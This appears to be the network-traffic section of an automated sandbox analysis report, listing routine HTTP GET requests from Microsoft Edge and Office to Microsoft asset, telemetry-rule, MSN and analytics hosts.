Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732439254&P2=404&P3=2&P4=V6ODrEH7G17r32%2fysXsPTkGWFwlTv6dqeS%2bfyK1WLQVSkUtlobQTdUAgUH4h%2fygXFWXqiVYMgYkaezTG949QMA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: TVz8Z7gGOfH7tXZ3t0hBpsSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1731834457727&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1701CF37518866E22255DA0D50AD67DC&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731834457727&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=fb0b7b14dd1f4cc4b5c9b0fc5e318aba&activityId=fb0b7b14dd1f4cc4b5c9b0fc5e318aba&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=1701CF37518866E22255DA0D50AD67DC; _EDGE_S=F=1&SID=0302C101A5B3606B22ADD43BA40461A9; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=1701CF37518866E22255DA0D50AD67DC&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=f524566c2c704ed6e1945de1dde76c1c HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=1701CF37518866E22255DA0D50AD67DC; _EDGE_S=F=1&SID=0302C101A5B3606B22ADD43BA40461A9; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKEt.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731834457727&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1701CF37518866E22255DA0D50AD67DC&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1FA26a9e9a7191a31f4c5741731834459; XID=1FA26a9e9a7191a31f4c5741731834459
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOOW.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZ4.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQA.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=1701CF37518866E22255DA0D50AD67DC&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=da599a71865542f88cd7bc6ecf4ce2d3 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1701CF37518866E22255DA0D50AD67DC; _EDGE_S=F=1&SID=0302C101A5B3606B22ADD43BA40461A9; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731834457727&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=fb0b7b14dd1f4cc4b5c9b0fc5e318aba&activityId=fb0b7b14dd1f4cc4b5c9b0fc5e318aba&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=BFAB4113F59E4B45894223E130689428&MUID=1701CF37518866E22255DA0D50AD67DC HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1701CF37518866E22255DA0D50AD67DC; _EDGE_S=F=1&SID=0302C101A5B3606B22ADD43BA40461A9; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
